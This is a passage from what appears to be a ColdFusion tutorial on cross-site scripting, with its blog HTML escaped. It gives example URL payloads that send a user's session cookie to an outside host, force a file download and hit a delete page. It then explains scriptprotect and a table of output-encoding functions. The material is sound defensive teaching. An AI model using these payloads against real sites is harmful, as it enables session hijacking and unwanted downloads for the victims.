&lt;b&gt;All the below examples are tested in Firefox 26.0 browser.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Attacker can get the session cookie of user and can take access of his login.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Example&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;: &amp;nbsp;http://localhost:8500/xsstesting/index.cfm?name=&amp;lt;body onload=&quot;alert(&#39;Hi&#39;);document.location=&#39;http://www.google.com?cookie=&#39; &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;%2B&lt;/span&gt;&lt;/b&gt; document.cookie&quot;&amp;gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Attacker can able to download some executable file into the user’s computer.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Example&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;: http://localhost:8500/xsstesting/index.cfm?name=&amp;lt;body onload=&quot;document.location=&#39;https://docs.google.com/uc?export=download&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;%26&lt;/span&gt;&lt;/b&gt;id=0B2GDR5_Jv000OW9pSEZhaGZhQ1k&#39;&quot;&amp;gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Here I am downloading one of my zip file so don&#39;t worry for now :)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Attacker can delete any resource from that user account.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Example&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;: http://localhost:8500/xsstesting/index.cfm?name=&amp;lt;body onload=&quot;alert(&#39;Hi&#39;);document.location=&#39;http://localhost:8500/xsstesting/deleteResource.cfm&#39;&quot;&amp;gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Suppose there is a page called &quot;deleteResource.cfm&quot; which will delete a particular resource then attacker can delete that resource.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Similarly we can create similar kind of attack while submitting a form.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Let’s see how we can protect our self from such kind of attack.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;1. Use the following setting in Application.cfc&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #9fc5e8;&quot;&gt;this.scriptprotect = &quot;all&quot;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
This will save us from basic XSS attack like. If someone wants to directly execute a script tag like: http://localhost:8500/xsstesting/index.cfm?name=&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;alert(&#39;Hello&#39;);&amp;lt;/script&amp;gt;&amp;nbsp; then you will see in output as:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;lt;InvalidTag type=&quot;text/javascript&quot;&amp;gt;alert(&#39;Hello&#39;);&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
So, the script will never execute in browser but it cannot protect script like we passed in body tag or any anchor tag. When we enables script protect in Application.cfc then ColdFusion parses variables of a particular scope and if it finds any which may cause XSS threat it replaces that tag by “&lt;b&gt;Invalid&lt;/b&gt;”. What are the script tags are protected by ColdFusion server you can find from:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;\{CF-Directory}\cfusion\lib\neo-security.xml&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt; and search for &lt;b&gt;CrossSiteScriptPatterns. &lt;/b&gt;If you want to add any additional tags there for protecting then you can also add there and you have to restart CF server after making the changes.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;2. Use some secure data formatting function while displaying the data to user like below.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;cfoutput&amp;gt;#htmlEditFormat(url.name)#&amp;lt;/cfoutput&amp;gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;What are the other secure data formatting functions available&lt;/b&gt;?&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-layout-alt: fixed; mso-yfti-tbllook: 1184; width: 720px;&quot;&gt;&lt;tbody&gt;
&lt;tr style=&quot;height: 14.8pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0;&quot;&gt;   &lt;td style=&quot;border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;Version&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;Context Of Use&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;Function&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;Example&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 15.7pt; mso-yfti-irow: 1;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF 9&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
HTML&lt;b&gt; &amp;nbsp;&lt;/b&gt;Body&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
HTMLEditFormat&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;cfoutput&amp;gt;#HTMLEditFormat(url.name)#&amp;lt;/cfoutput&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 14.8pt; mso-yfti-irow: 2;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF9&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
URL&lt;b&gt; &lt;/b&gt;String&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
URLEncodedFormat&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;a   href=&quot;./dispUserList?name=#URLEncodedFormat(url.name)#&quot;&amp;gt;User   List&amp;lt;/a&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 15.7pt; mso-yfti-irow: 3;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF10&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
HTML&lt;b&gt; &lt;/b&gt;Body&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
EncodeForHTML&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;cfoutput&amp;gt;#EncodeForHTML(url.name)#&amp;lt;/cfoutput&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 14.8pt; mso-yfti-irow: 4;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF10&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
HTML&lt;b&gt; &lt;/b&gt;Attribute&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
EncodeForHTMLAttribute&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;div   class=&quot;#EncodeForHTMLAttribute(url.name)#&quot;&amp;gt;...&amp;lt;/div&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 15.7pt; mso-yfti-irow: 5;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF10&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.7pt;&quot; valign=&quot;top&quot; width=&quot;90&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
JavaScript&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 1.75in;&quot; valign=&quot;top&quot; width=&quot;168&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
EncodeForJavascript&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 15.7pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 300.45pt;&quot; valign=&quot;top&quot; width=&quot;401&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&amp;lt;script&amp;gt;var name   = &quot;#EncodeForJavascript(url.name)#&quot;;&amp;lt;/script&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;  &lt;/tr&gt;
&lt;tr style=&quot;height: 14.8pt; mso-yfti-irow: 6;&quot;&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 14.8pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 45.7pt;&quot; valign=&quot;top&quot; width=&quot;61&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;CF10&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
